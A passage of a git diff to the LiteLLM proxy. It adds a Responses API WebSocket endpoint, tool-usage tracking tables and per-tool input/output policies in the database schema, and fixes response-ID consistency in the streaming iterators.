litellm.types.llms.custom_http import httpxSpecialProvider async_client = get_async_httpx_client( diff --git a/litellm/proxy/response_api_endpoints/endpoints.py b/litellm/proxy/response_api_endpoints/endpoints.py index 44e8c42b2c1..4253c2ca832 100644 --- a/litellm/proxy/response_api_endpoints/endpoints.py +++ b/litellm/proxy/response_api_endpoints/endpoints.py @@ -1,14 +1,21 @@ import asyncio +import json import time -from typing import Any, AsyncIterator, Optional, cast +from typing import Any, AsyncIterator, Dict, Optional, cast from uuid import uuid4 +import fastapi from fastapi import APIRouter, Depends, HTTPException, Request, Response +from starlette.websockets import WebSocket from litellm._logging import verbose_proxy_logger from litellm.integrations.custom_guardrail import ModifyResponseException from litellm.proxy._types import * -from litellm.proxy.auth.user_api_key_auth import UserAPIKeyAuth, user_api_key_auth +from litellm.proxy.auth.user_api_key_auth import ( + UserAPIKeyAuth, + user_api_key_auth, + user_api_key_auth_websocket, +) from litellm.proxy.common_request_processing import ProxyBaseLLMRequestProcessing from litellm.types.llms.openai import ResponseAPIUsage, ResponsesAPIResponse from litellm.types.responses.main import DeleteResponseResult @@ -904,3 +911,121 @@ async def cancel_response( proxy_logging_obj=proxy_logging_obj, version=version, ) + + +@router.websocket("/v1/responses") +@router.websocket("/responses") +async def responses_websocket_endpoint( + websocket: WebSocket, + model: str = fastapi.Query( + ..., description="The model to use for the responses WebSocket session." + ), + user_api_key_dict=Depends(user_api_key_auth_websocket), +): + """ + Responses API WebSocket mode endpoint. + + Keeps a persistent WebSocket connection for response.create events, + enabling lower-latency agentic workflows with many tool-call round trips. + + See: https://developers.openai.com/api/docs/guides/websocket-mode/ + """ + from litellm.proxy.proxy_server import ( + general_settings, + llm_router, + proxy_config, + proxy_logging_obj, + user_api_base, + user_max_tokens, + user_model, + user_request_timeout, + user_temperature, + version, + ) + from litellm.proxy.route_llm_request import route_request + + # Accept the WebSocket handshake + requested_protocols = [ + p.strip() + for p in (websocket.headers.get("sec-websocket-protocol") or "").split(",") + if p.strip() + ] + accept_kwargs: dict = {} + if requested_protocols: + accept_kwargs["subprotocol"] = requested_protocols[0] + await websocket.accept(**accept_kwargs) + + data: Dict[str, Any] = { + "model": model, + "websocket": websocket, + } + + # Construct a synthetic Request for pre-call processing + headers_list = list(websocket.scope.get("headers") or []) + scope: Dict[str, Any] = { + "type": "http", + "method": "POST", + "path": "/v1/responses", + "headers": headers_list, + } + request = Request(scope=scope) + request._url = websocket.url + + async def return_body(): + return f'{{"model": "{model}"}}'.encode() + + request.body = return_body # type: ignore + + # Phase 1: pre-call processing (auth, guardrails, rate limits) + base_llm_response_processor = ProxyBaseLLMRequestProcessing(data=data) + try: + ( + data, + litellm_logging_obj, + ) = await base_llm_response_processor.common_processing_pre_call_logic( + request=request, + general_settings=general_settings, + user_api_key_dict=user_api_key_dict, + version=version, + proxy_logging_obj=proxy_logging_obj, + proxy_config=proxy_config, + user_model=user_model, + user_temperature=user_temperature, + user_request_timeout=user_request_timeout, + user_max_tokens=user_max_tokens, + user_api_base=user_api_base, + model=model, + route_type="_aresponses_websocket", + ) + except Exception as e: + verbose_proxy_logger.exception("Responses WebSocket pre-call error") + try: + await websocket.send_text( + json.dumps( + { + "type": "error", + "error": { + "type": "pre_call_error", + "message": str(e), + }, + } + ) + ) + except Exception: + pass + await websocket.close(code=1011, reason="Pre-call error") + return + + # Phase 2: route to upstream provider + try: + data["user_api_key_dict"] = user_api_key_dict + llm_call = await route_request( + data=data, + route_type="_aresponses_websocket", + llm_router=llm_router, + user_model=user_model, + ) + await llm_call + except Exception: + verbose_proxy_logger.exception("Responses WebSocket error") + await websocket.close(code=1011, reason="Internal server error") diff --git a/litellm/proxy/route_llm_request.py b/litellm/proxy/route_llm_request.py index 63bd67abea2..1b791980af3 100644 --- a/litellm/proxy/route_llm_request.py +++ b/litellm/proxy/route_llm_request.py @@ -42,6 +42,7 @@ ROUTE_ENDPOINT_MAPPING = { "amoderation": "/moderations", "arerank": "/rerank", "aresponses": "/responses", + "_aresponses_websocket": "/responses", "alist_input_items": "/responses/{response_id}/input_items", "aimage_edit": "/images/edits", "acancel_responses": "/responses/{response_id}/cancel", @@ -163,6 +164,7 @@ async def route_request( # noqa: PLR0915 - Complex routing function, refactorin "acreate_response_reply", "alist_input_items", "_arealtime", # private function for realtime API + "_aresponses_websocket", # private function for responses WebSocket mode "aimage_edit", "agenerate_content", "agenerate_content_stream", diff --git a/litellm/proxy/schema.prisma b/litellm/proxy/schema.prisma index e0b28a4e012..25ee2750548 100644 --- a/litellm/proxy/schema.prisma +++ b/litellm/proxy/schema.prisma @@ -260,6 +260,7 @@ model LiteLLM_ObjectPermissionTable { vector_stores String[] @default([]) agents String[] @default([]) agent_access_groups String[] @default([]) + blocked_tools String[] @default([]) // Tool names blocked for any key/team/user with this permission teams LiteLLM_TeamTable[] projects LiteLLM_ProjectTable[] verification_tokens LiteLLM_VerificationToken[] @@ -928,6 +929,16 @@ model LiteLLM_SpendLogGuardrailIndex { @@index([policy_id, start_time]) } +// Index for fast "last N logs for tool" from SpendLogs – see how a tool is called in production +model LiteLLM_SpendLogToolIndex { + request_id String + tool_name String // matches LiteLLM_ToolTable.tool_name; join for input_policy/output_policy etc. + start_time DateTime + + @@id([request_id, tool_name]) + @@index([tool_name, start_time]) +} + // Prompt table for storing prompt configurations model LiteLLM_PromptTable { id String @id @default(uuid()) @@ -1065,23 +1076,27 @@ model LiteLLM_PolicyAttachmentTable { updated_by String? } -// Global tool registry - auto-discovered from LLM responses; admins set call_policy here +// Global tool registry - auto-discovered from LLM responses; admins set input/output policies here model LiteLLM_ToolTable { - tool_id String @id @default(uuid()) - tool_name String @unique // e.g. "huggingface_remote-mcp__dynamic_space" - origin String? // MCP server name or "user_defined" - call_policy String @default("untrusted") // "trusted" | "untrusted" | "dual_llm" | "blocked" - call_count Int @default(0) // cumulative number of times this tool was seen - assignments Json? @default("{}") - key_hash String? // hash of the virtual key that first called this tool - team_id String? // team that first called this tool - key_alias String? // human-readable alias of the virtual key - created_at DateTime @default(now()) - created_by String? - updated_at DateTime @default(now()) @updatedAt - updated_by String? + tool_id String @id @default(uuid()) + tool_name String @unique // e.g. "huggingface_remote-mcp__dynamic_space" + origin String? // MCP server name or "user_defined" + input_policy String @default("untrusted") // "trusted" | "untrusted" | "blocked" + output_policy String @default("untrusted") // "trusted" | "untrusted" + call_count Int @default(0) // cumulative number of times this tool was seen + assignments Json? @default("{}") + key_hash String? // hash of the virtual key that first called this tool + team_id String? // team that first called this tool + key_alias String? // human-readable alias of the virtual key + user_agent String? // user-agent of the first request that discovered this tool + last_used_at DateTime? // timestamp of the most recent call + created_at DateTime @default(now()) + created_by String? + updated_at DateTime @default(now()) @updatedAt + updated_by String? - @@index([call_policy]) + @@index([input_policy]) + @@index([output_policy]) @@index([team_id]) } diff --git a/litellm/proxy/spend_tracking/spend_tracking_utils.py b/litellm/proxy/spend_tracking/spend_tracking_utils.py index 31615a768d7..131841f7b59 100644 --- a/litellm/proxy/spend_tracking/spend_tracking_utils.py +++ b/litellm/proxy/spend_tracking/spend_tracking_utils.py @@ -11,26 +11,21 @@ from pydantic import BaseModel import litellm from litellm._logging import verbose_proxy_logger -from litellm.constants import ( - MAX_STRING_LENGTH_PROMPT_IN_DB as DEFAULT_MAX_STRING_LENGTH_PROMPT_IN_DB, -) +from litellm.constants import \ + MAX_STRING_LENGTH_PROMPT_IN_DB as DEFAULT_MAX_STRING_LENGTH_PROMPT_IN_DB from litellm.constants import REDACTED_BY_LITELM_STRING from litellm.litellm_core_utils.core_helpers import ( - get_litellm_metadata_from_kwargs, - reconstruct_model_name, -) + get_litellm_metadata_from_kwargs, reconstruct_model_name) from litellm.litellm_core_utils.safe_json_dumps import safe_dumps from litellm.proxy._types import SpendLogsMetadata, SpendLogsPayload from litellm.proxy.utils import PrismaClient, hash_token -from litellm.types.utils import ( - CostBreakdown, - StandardLoggingGuardrailInformation, - StandardLoggingMCPToolCall, - StandardLoggingModelInformation, - StandardLoggingPayload, - StandardLoggingVectorStoreRequest, - VectorStoreSearchResponse, -) +from litellm.types.utils import (CostBreakdown, + StandardLoggingGuardrailInformation, + StandardLoggingMCPToolCall, + StandardLoggingModelInformation, + StandardLoggingPayload, + StandardLoggingVectorStoreRequest, + VectorStoreSearchResponse) from litellm.utils import get_end_user_id_for_cost_tracking @@ -116,16 +111,15 @@ def _get_spend_logs_metadata( # Filter the metadata dictionary to include only the specified keys clean_metadata = SpendLogsMetadata( **{ # type: ignore - key: metadata.get(key) - for key in SpendLogsMetadata.__annotations__.keys() + key: metadata.get(key) for key in SpendLogsMetadata.__annotations__.keys() } ) clean_metadata["applied_guardrails"] = applied_guardrails clean_metadata["batch_models"] = batch_models clean_metadata["mcp_tool_call_metadata"] = mcp_tool_call_metadata - clean_metadata[ - "vector_store_request_metadata" - ] = _get_vector_store_request_for_spend_logs_payload(vector_store_request_metadata) + clean_metadata["vector_store_request_metadata"] = ( + _get_vector_store_request_for_spend_logs_payload(vector_store_request_metadata) + ) clean_metadata["guardrail_information"] = guardrail_information clean_metadata["usage_object"] = usage_object clean_metadata["model_map_information"] = model_map_information @@ -372,9 +366,11 @@ def get_logging_payload( # noqa: PLR0915 guardrail_information=( standard_logging_payload.get("guardrail_information", None) if standard_logging_payload is not None - else metadata.get("standard_logging_guardrail_information", None) - if metadata is not None - else None + else ( + metadata.get("standard_logging_guardrail_information", None) + if metadata is not None + else None + ) ), cold_storage_object_key=( standard_logging_payload["metadata"].get("cold_storage_object_key", None) @@ -501,6 +497,7 @@ def _get_session_id_for_spend_log( """ from litellm._uuid import uuid + if ( standard_logging_payload is not None and standard_logging_payload.get("trace_id") is not None @@ -515,9 +512,7 @@ def _get_session_id_for_spend_log( return str(uuid.uuid4()) -def _get_request_duration_ms( - start_time: datetime, end_time: datetime -) -> Optional[int]: +def _get_request_duration_ms(start_time: datetime, end_time: datetime) -> Optional[int]: """Compute request duration in milliseconds from start and end times.""" try: return int((end_time - start_time).total_seconds() * 1000) @@ -709,20 +704,20 @@ def _convert_to_json_serializable_dict( if max_depth <= 0: # Return a placeholder if max depth is exceeded return "" - + if visited is None: visited = set() - + # Get the object's memory address to track visited objects obj_id = id(obj) if obj_id in visited: # Circular reference detected, return placeholder return "" - + # Only track mutable objects (dict, list, objects with __dict__) if isinstance(obj, (dict, list)) or hasattr(obj, "__dict__"): visited.add(obj_id) - + try: if isinstance(obj, BaseModel): # Use Pydantic's model_dump() instead of pickle @@ -741,7 +736,9 @@ def _convert_to_json_serializable_dict( ] elif hasattr(obj, "__dict__"): # Handle objects with __dict__ attribute - return _convert_to_json_serializable_dict(obj.__dict__, visited, max_depth - 1) + return _convert_to_json_serializable_dict( + obj.__dict__, visited, max_depth - 1 + ) else: # Primitives (str, int, float, bool, None) pass through return obj @@ -777,9 +774,7 @@ def _get_proxy_server_request_for_spend_logs_payload( # Apply message redaction if turn_off_message_logging is enabled if kwargs is not None: from litellm.litellm_core_utils.redact_messages import ( - perform_redaction, - should_redact_message_logging, - ) + perform_redaction, should_redact_message_logging) # Build model_call_details dict to check redaction settings model_call_details = { @@ -788,12 +783,12 @@ def _get_proxy_server_request_for_spend_logs_payload( "standard_callback_dynamic_params" ), } - + # If redaction is enabled, convert to serializable dict before redacting if should_redact_message_logging(model_call_details=model_call_details): _request_body = _convert_to_json_serializable_dict(_request_body) perform_redaction(model_call_details=_request_body, result=None) - + _request_body = _sanitize_request_body_for_spend_logs_payload(_request_body) _request_body_json_str = json.dumps(_request_body, default=str) return _request_body_json_str @@ -845,10 +840,8 @@ def _get_response_for_spend_logs_payload( # Apply message redaction if turn_off_message_logging is enabled if kwargs is not None: from litellm.litellm_core_utils.redact_messages import ( - perform_redaction, - should_redact_message_logging, - ) - + perform_redaction, should_redact_message_logging) + litellm_params = kwargs.get("litellm_params", {}) model_call_details = { "litellm_params": litellm_params, @@ -856,11 +849,13 @@ def _get_response_for_spend_logs_payload( "standard_callback_dynamic_params" ), } - + # If redaction is enabled, convert to serializable dict before redacting if should_redact_message_logging(model_call_details=model_call_details): response_obj = _convert_to_json_serializable_dict(response_obj) - response_obj = perform_redaction(model_call_details={}, result=response_obj) + response_obj = perform_redaction( + model_call_details={}, result=response_obj + ) sanitized_wrapper = _sanitize_request_body_for_spend_logs_payload( {"response": response_obj} @@ -882,7 +877,7 @@ def _should_store_prompts_and_responses_in_spend_logs() -> bool: # Check general_settings (from DB or proxy_config.yaml) store_prompts_value = general_settings.get("store_prompts_in_spend_logs") - + # Normalize case: handle True/true/TRUE, False/false/FALSE, None/null if store_prompts_value is True: return True @@ -890,7 +885,7 @@ def _should_store_prompts_and_responses_in_spend_logs() -> bool: # Case-insensitive string comparison if store_prompts_value.lower() == "true": return True - + # Also check environment variable return get_secret_bool("STORE_PROMPTS_IN_SPEND_LOGS") is True diff --git a/litellm/proxy/utils.py b/litellm/proxy/utils.py index afcdd9d0c50..e6da95bb78f 100644 --- a/litellm/proxy/utils.py +++ b/litellm/proxy/utils.py @@ -3583,8 +3583,9 @@ class PrismaClient: def _get_engine_pid(self) -> int: try: engine = self.db._original_prisma._engine # type: ignore[attr-defined] - if engine is not None and engine.process is not None: - return engine.process.pid + process = getattr(engine, "process", None) if engine is not None else None + if process is not None: + return process.pid except (AttributeError, TypeError): pass return 0 @@ -4688,6 +4689,19 @@ async def update_spend_logs_job( guardrail_tracking_err, ) + # Tool usage tracking (same batch): SpendLogToolIndex for "last N requests for tool X" + try: + from litellm.proxy.db.spend_log_tool_index import process_spend_logs_tool_usage + await process_spend_logs_tool_usage( + prisma_client=prisma_client, + logs_to_process=logs_to_process, + ) + except Exception as tool_tracking_err: + verbose_proxy_logger.warning( + "Spend tracking - tool usage tracking failed (non-fatal): %s", + tool_tracking_err, + ) + async def _monitor_spend_logs_queue( prisma_client: PrismaClient, diff --git a/litellm/responses/litellm_completion_transformation/streaming_iterator.py b/litellm/responses/litellm_completion_transformation/streaming_iterator.py index 6e32a0d48d7..e7866ae0f06 100644 --- a/litellm/responses/litellm_completion_transformation/streaming_iterator.py +++ b/litellm/responses/litellm_completion_transformation/streaming_iterator.py @@ -344,8 +344,12 @@ class LiteLLMCompletionStreamingIterator(ResponsesAPIStreamingIterator): self._pending_tool_events.append(item_done_event) def _default_response_created_event_data(self) -> dict: + # Use cached response ID if available, otherwise generate a new one + if self._cached_response_id is None: + self._cached_response_id = f"resp_{str(uuid.uuid4())}" + response_created_event_data = { - "id": f"resp_{str(uuid.uuid4())}", + "id": self._cached_response_id, "object": "response", "created_at": int(time.time()), "status": "in_progress", @@ -1074,6 +1078,10 @@ class LiteLLMCompletionStreamingIterator(ResponsesAPIStreamingIterator): responses_api_request=self.responses_api_request, ) + # Use the cached response ID to ensure consistency across all events + if self._cached_response_id: + responses_api_response.id = self._cached_response_id + # Encode the response ID to match non-streaming behavior encoded_response = ResponsesAPIRequestUtils._update_responses_api_response_id_with_model_id( responses_api_response=responses_api_response, diff --git a/litellm/responses/main.py b/litellm/responses/main.py index 05fd6026af2..42f9d0d7783 100644 --- a/litellm/responses/main.py +++ b/litellm/responses/main.py @@ -51,6 +51,8 @@ if TYPE_CHECKING: from litellm.types.llms.openai import ResponseText # type: ignore else: ResponseText = str # Fallback for ResponseText import +from litellm.litellm_core_utils.get_litellm_params import get_litellm_params +from litellm.secret_managers.main import get_secret_str from litellm.types.responses.main import * from litellm.types.router import GenericLiteLLMParams from litellm.utils import ProviderConfigManager, client @@ -182,8 +184,6 @@ async def aresponses_api_with_mcp( mcp_server_auth_headers: Optional[Dict[str, Dict[str, str]]] = None secret_fields = kwargs.get("secret_fields") if secret_fields and isinstance(secret_fields, dict): - from litellm.responses.utils import ResponsesAPIRequestUtils - mcp_auth_header, mcp_server_auth_headers, _, _ = ( ResponsesAPIRequestUtils.extract_mcp_headers_from_request( secret_fields=secret_fields, tools=tools @@ -745,6 +745,11 @@ def responses( custom_llm_provider=custom_llm_provider, ) + # Decode any litellm-encoded encrypted-content item IDs back to their original IDs + input = ResponsesAPIRequestUtils._restore_encrypted_content_item_ids_in_input( + input + ) + # Call the handler with _is_async flag instead of directly calling the async handler response = base_llm_http_handler.response_api_handler( model=model, @@ -1617,6 +1622,12 @@ def compact_responses( custom_llm_provider=custom_llm_provider, ) + # Decode any litellm-encoded encrypted-content item IDs back to their original IDs + # before forwarding to the upstream provider. + input = ResponsesAPIRequestUtils._restore_encrypted_content_item_ids_in_input( + input + ) + # Call the handler with _is_async flag instead of directly calling the async handler response = base_llm_http_handler.compact_response_api_handler( model=model, @@ -1651,3 +1662,100 @@ def compact_responses( completion_kwargs=local_vars, extra_kwargs=kwargs, ) + + +# --------------------------------------------------------------------------- +# Responses API WebSocket mode +# --------------------------------------------------------------------------- + + +def _build_litellm_metadata_for_ws(kwargs: dict) -> dict: + metadata: dict = {**(kwargs.get("litellm_metadata") or {})} + guardrails = ( + (kwargs.get("metadata") or {}).get("guardrails") + or kwargs.get("guardrails") + or [] + ) + if guardrails: + metadata["guardrails"] = guardrails + return metadata + + +@client +async def _aresponses_websocket( + model: str, + websocket: Any, + api_base: Optional[str] = None, + api_key: Optional[str] = None, + timeout: Optional[float] = None, + **kwargs, +): + """ + Private function to handle the Responses API WebSocket mode. + + For PROXY use only. + + Resolves the LLM provider from ``model``, looks up the matching + ``BaseResponsesAPIConfig``, and hands off to + ``BaseLLMHTTPHandler.async_responses_websocket``. + """ + litellm_logging_obj: LiteLLMLoggingObj = kwargs.get("litellm_logging_obj") # type: ignore + user = kwargs.get("user", None) + litellm_params = GenericLiteLLMParams(**kwargs) + litellm_params_dict = get_litellm_params(**kwargs) + + model, _custom_llm_provider, dynamic_api_key, dynamic_api_base = ( + litellm.get_llm_provider( + model=model, + api_base=api_base, + api_key=api_key, + ) + ) + + litellm_logging_obj.update_environment_variables( + model=model, + user=user, + optional_params={}, + litellm_params=litellm_params_dict, + custom_llm_provider=_custom_llm_provider, + ) + + responses_api_provider_config: Optional[BaseResponsesAPIConfig] = None + if _custom_llm_provider is not None: + responses_api_provider_config = ( + ProviderConfigManager.get_provider_responses_api_config( + model=model, + provider=litellm.LlmProviders(_custom_llm_provider), + ) + ) + + if responses_api_provider_config is None: + raise ValueError( + f"Responses API WebSocket mode is not supported for provider: {_custom_llm_provider}" + ) + + resolved_api_base = ( + dynamic_api_base + or litellm_params.api_base + or litellm.api_base + or None + ) + resolved_api_key = ( + dynamic_api_key + or litellm_params.api_key + or litellm.api_key + or litellm.openai_key + or get_secret_str("OPENAI_API_KEY") + ) + + await base_llm_http_handler.async_responses_websocket( + model=model, + websocket=websocket, + logging_obj=litellm_logging_obj, + responses_api_provider_config=responses_api_provider_config, + api_base=resolved_api_base, + api_key=resolved_api_key, + timeout=timeout, + user_api_key_dict=kwargs.get("user_api_key_dict"), + litellm_metadata=_build_litellm_metadata_for_ws(kwargs), + ) diff --git a/litellm/responses/mcp/mcp_streaming_iterator.py b/litellm/responses/mcp/mcp_streaming_iterator.py index 731aa5c692b..0ada532c413 100644 --- a/litellm/responses/mcp/mcp_streaming_iterator.py +++ b/litellm/responses/mcp/mcp_streaming_iterator.py @@ -269,7 +269,7 @@ class MCPEnhancedStreamingIterator(BaseResponsesAPIStreamingIterator): self.should_auto_execute = self._should_auto_execute_tools() # Streaming state management - self.phase = "mcp_discovery" # mcp_discovery -> initial_response -> tool_execution -> follow_up_response -> finished + self.phase = "initial_response" # initial_response -> mcp_discovery -> tool_execution -> follow_up_response -> finished self.finished = False # Event queues and generation flags @@ -305,6 +305,12 @@ class MCPEnhancedStreamingIterator(BaseResponsesAPIStreamingIterator): # Mark as async iterator self.is_async = True + + # Track if we've emitted initial OpenAI lifecycle events + self.initial_events_emitted = False + + # Cache the response ID to ensure consistency across all events + self._cached_response_id: Optional[str] = None def _extract_mcp_headers_from_params(self) -> None: """Extract MCP headers from original request params to pass to tool calls""" @@ -388,38 +394,43 @@ class MCPEnhancedStreamingIterator(BaseResponsesAPIStreamingIterator): async def __anext__(self) -> ResponsesAPIStreamingResponse: """ Phase-based streaming: - 1. mcp_discovery - Emit MCP discovery events - 2. initial_response - Stream the first LLM response - 3. tool_execution - Emit tool execution events - 4. follow_up_response - Stream the follow-up response - 5. finished - End iteration + 1. initial_response - Stream the first LLM response (includes response.created, response.in_progress, response.output_item.added) + 2. mcp_discovery - Emit MCP discovery events (after response.output_item.added) + 3. continue_initial_response - Continue streaming the initial response content + 4. tool_execution - Emit tool execution events + 5. follow_up_response - Stream the follow-up response + 6. finished - End iteration """ - # Phase 1: MCP Discovery Events - if self.phase == "mcp_discovery": - # Generate MCP discovery events if not already done - # MCP discovery events are already generated and available - - # Emit MCP discovery events - if self.mcp_discovery_events: - return self.mcp_discovery_events.pop(0) - - # All MCP discovery events emitted, move to next phase - verbose_logger.debug( - "MCP discovery phase complete, transitioning to initial_response" - ) - self.phase = "initial_response" - await self._create_initial_response_iterator() - # Fall through to process the initial response immediately - - # Phase 2: Initial Response Stream + # Phase 1: Initial Response Stream (emit standard OpenAI events first) if self.phase == "initial_response": + # Create the initial response iterator if not already created + if self.base_iterator is None: + await self._create_initial_response_iterator() + if self.base_iterator: # Check if base_iterator is actually iterable if hasattr(self.base_iterator, "__anext__"): try: chunk = await cast(Any, self.base_iterator).__anext__() # type: ignore[attr-defined] + # Capture the response ID from the first event to ensure consistency + if self._cached_response_id is None and hasattr(chunk, 'response'): + response_obj = getattr(chunk, 'response', None) + if response_obj and hasattr(response_obj, 'id'): + self._cached_response_id = response_obj.id + verbose_logger.debug(f"Cached response ID: {self._cached_response_id}") + + # After emitting response.output_item.added, transition to MCP discovery + # Check if this is the output_item.added event + if not self.initial_events_emitted and hasattr(chunk, 'type'): + chunk_type = getattr(chunk, 'type', None) + if chunk_type == ResponsesAPIStreamEvents.OUTPUT_ITEM_ADDED: + self.initial_events_emitted = True + # Transition to MCP discovery phase after returning this chunk + self.phase = "mcp_discovery" + return chunk + # If auto-execution is enabled, check for completed responses if self.should_auto_execute and self._is_response_completed( chunk @@ -454,7 +465,28 @@ class MCPEnhancedStreamingIterator(BaseResponsesAPIStreamingIterator): self.phase = "finished" raise StopAsyncIteration - # Phase 3: Tool Execution Events + # Phase 2: MCP Discovery Events (after response.output_item.added) + if self.phase == "mcp_discovery": + # Emit MCP discovery events + if self.mcp_discovery_events: + return self.mcp_discovery_events.pop(0) + self.phase = "continue_initial_response" + # Fall through to continue processing the initial response + + # Phase 3: Continue Initial Response (after MCP discovery events) + if self.phase == "continue_initial_response": + try: + return await self._process_base_iterator_chunk() + except StopAsyncIteration: + # Initial response ended, move to next phase + if self.should_auto_execute and self.collected_response: + self.phase = "tool_execution" + await self._generate_tool_execution_events() + else: + self.phase = "finished" + raise + + # Phase 4: Tool Execution Events if self.phase == "tool_execution": # Emit any queued tool execution events if self.tool_execution_events: @@ -464,7 +496,7 @@ class MCPEnhancedStreamingIterator(BaseResponsesAPIStreamingIterator): self.phase = "follow_up_response" await self._create_follow_up_iterator() - # Phase 4: Follow-up Response Stream + # Phase 5: Follow-up Response Stream if self.phase == "follow_up_response": if self.follow_up_iterator: try: @@ -476,7 +508,7 @@ class MCPEnhancedStreamingIterator(BaseResponsesAPIStreamingIterator): self.phase = "finished" raise StopAsyncIteration - # Phase 5: Finished + # Phase 6: Finished if self.phase == "finished": raise StopAsyncIteration @@ -491,6 +523,35 @@ class MCPEnhancedStreamingIterator(BaseResponsesAPIStreamingIterator): getattr(chunk, "type", None) == ResponsesAPIStreamEvents.RESPONSE_COMPLETED ) + async def _process_base_iterator_chunk(self) -> ResponsesAPIStreamingResponse: + """ + Process a chunk from the base iterator with response ID consistency enforcement. + """ + if not self.base_iterator or not hasattr(self.base_iterator, "__anext__"): + raise StopAsyncIteration + + chunk = await cast(Any, self.base_iterator).__anext__() # type: ignore[attr-defined] + + # Ensure response ID consistency - update chunk if needed + if self._cached_response_id and hasattr(chunk, 'response'): + response_obj = getattr(chunk, 'response', None) + if response_obj and hasattr(response_obj, 'id'): + if response_obj.id != self._cached_response_id: + verbose_logger.debug(f"Updating response ID from {response_obj.id} to {self._cached_response_id}") + response_obj.id = self._cached_response_id + + # If auto-execution is enabled, check for completed responses + if self.should_auto_execute and self._is_response_completed(chunk): + # Collect the response for tool execution + response_obj = getattr(chunk, "response", None) + if isinstance(response_obj, ResponsesAPIResponse): + self.collected_response = response_obj + # Move to tool execution phase after emitting this chunk + self.phase = "tool_execution" + await self._generate_tool_execution_events() + + return chunk + async def _create_initial_response_iterator(self) -> None: """Create the initial response iterator by making the first LLM call""" try: diff --git a/litellm/responses/streaming_iterator.py b/litellm/responses/streaming_iterator.py index 43ef4610b4b..09d770b0fac 100644 --- a/litellm/responses/streaming_iterator.py +++ b/litellm/responses/streaming_iterator.py @@ -3,12 +3,15 @@ import json import time import traceback from datetime import datetime -from typing import Any, Dict, Optional +from typing import TYPE_CHECKING, Any, Dict, List, Optional import httpx import litellm -from litellm.constants import LITELLM_MAX_STREAMING_DURATION_SECONDS, STREAM_SSE_DONE_STRING +from litellm.constants import ( + LITELLM_MAX_STREAMING_DURATION_SECONDS, + STREAM_SSE_DONE_STRING, +) from litellm.litellm_core_utils.asyncify import run_async_function from litellm.litellm_core_utils.core_helpers import process_response_headers from litellm.litellm_core_utils.litellm_logging import Logging as LiteLLMLoggingObj @@ -137,6 +140,31 @@ class BaseResponsesAPIStreamingIterator: ) setattr(openai_responses_api_chunk, "response", response) + # Wrap encrypted_content in streaming events (output_item.added, output_item.done) + if ( + self.litellm_metadata + and self.litellm_metadata.get("encrypted_content_affinity_enabled") + ): + event_type = getattr(openai_responses_api_chunk, "type", None) + if event_type in ( + ResponsesAPIStreamEvents.OUTPUT_ITEM_ADDED, + ResponsesAPIStreamEvents.OUTPUT_ITEM_DONE, + ): + item = getattr(openai_responses_api_chunk, "item", None) + if item: + encrypted_content = getattr(item, "encrypted_content", None) + if encrypted_content and isinstance(encrypted_content, str): + model_id = ( + self.litellm_metadata.get("model_info", {}).get("id") + if self.litellm_metadata + else None + ) + if model_id: + wrapped_content = ResponsesAPIRequestUtils._wrap_encrypted_content_with_model_id( + encrypted_content, model_id + ) + setattr(item, "encrypted_content", wrapped_content) + # Store the completed response if ( openai_responses_api_chunk @@ -654,3 +682,594 @@ class MockResponsesAPIStreamingIterator(BaseResponsesAPIStreamingIterator): for c in getattr(out_item, "content", []): out += c.text return out + + +# --------------------------------------------------------------------------- +# WebSocket mode streaming (bidirectional forwarding) +# --------------------------------------------------------------------------- + +if TYPE_CHECKING: + from websockets.asyncio.client import ClientConnection as _WsClientConnection + +from litellm._logging import verbose_logger +from litellm.litellm_core_utils.thread_pool_executor import executor as _ws_executor + +RESPONSES_WS_LOGGED_EVENT_TYPES = [ + "response.created", + "response.completed", + "response.failed", + "response.incomplete", + "error", +] + + +class ResponsesWebSocketStreaming: + """ + Manages bidirectional WebSocket forwarding for the Responses API + WebSocket mode (wss://.../v1/responses). + + Unlike the Realtime API, the Responses API WebSocket mode: + - Uses response.create as the client-to-server event + - Streams back the same events as the HTTP streaming Responses API + - Supports previous_response_id for incremental continuation + - Supports generate: false for warmup + - One response at a time per connection (sequential, no multiplexing) + """ + + def __init__( + self, + websocket: Any, + backend_ws: Any, + logging_obj: LiteLLMLoggingObj, + user_api_key_dict: Optional[Any] = None, + request_data: Optional[Dict] = None, + ): + self.websocket = websocket + self.backend_ws = backend_ws + self.logging_obj = logging_obj + self.user_api_key_dict = user_api_key_dict + self.request_data: Dict = request_data or {} + self.messages: list[Dict] = [] + self.input_messages: list[Dict[str, str]] = [] + + def _should_store_event(self, event_obj: dict) -> bool: + return event_obj.get("type") in RESPONSES_WS_LOGGED_EVENT_TYPES + + def _store_event(self, event: Any) -> None: + if isinstance(event, bytes): + event = event.decode("utf-8") + if isinstance(event, str): + try: + event_obj = json.loads(event) + except (json.JSONDecodeError, TypeError): + return + else: + event_obj = event + + if self._should_store_event(event_obj): + self.messages.append(event_obj) + + def _collect_input_from_client_event(self, message: Any) -> None: + """Extract user input content from response.create for logging.""" + try: + if isinstance(message, str): + msg_obj = json.loads(message) + elif isinstance(message, dict): + msg_obj = message + else: + return + + if msg_obj.get("type") != "response.create": + return + + input_items = msg_obj.get("input", []) + if isinstance(input_items, str): + self.input_messages.append({"role": "user", "content": input_items}) + return + + if isinstance(input_items, list): + for item in input_items: + if not isinstance(item, dict): + continue + if item.get("type") == "message" and item.get("role") == "user": + content = item.get("content", []) + if isinstance(content, str): + self.input_messages.append( + {"role": "user", "content": content} + ) + elif isinstance(content, list): + for c in content: + if ( + isinstance(c, dict) + and c.get("type") == "input_text" + ): + text = c.get("text", "") + if text: + self.input_messages.append( + {"role": "user", "content": text} + ) + except (json.JSONDecodeError, AttributeError, TypeError): + pass + + def _store_input(self, message: Any) -> None: + self._collect_input_from_client_event(message) + if self.logging_obj: + self.logging_obj.pre_call(input=message, api_key="") + + async def _log_messages(self) -> None: + if not self.logging_obj: + return + if self.input_messages: + self.logging_obj.model_call_details["messages"] = self.input_messages + if self.messages: + asyncio.create_task( + self.logging_obj.async_success_handler(self.messages) + ) + _ws_executor.submit(self.logging_obj.success_handler, self.messages) + + async def backend_to_client(self) -> None: + """Forward events from backend WebSocket to the client.""" + import websockets + + try: + while True: + try: + raw_response = await self.backend_ws.recv(decode=False) # type: ignore[union-attr] + except TypeError: + raw_response = await self.backend_ws.recv() # type: ignore[union-attr, assignment] + + if isinstance(raw_response, bytes): + response_str = raw_response.decode("utf-8") + else: + response_str = raw_response + + self._store_event(response_str) + await self.websocket.send_text(response_str) + + except websockets.exceptions.ConnectionClosed as e: # type: ignore + verbose_logger.debug( + "Responses WS backend connection closed: %s", e + ) + except Exception as e: + verbose_logger.exception( + "Error in responses WS backend_to_client: 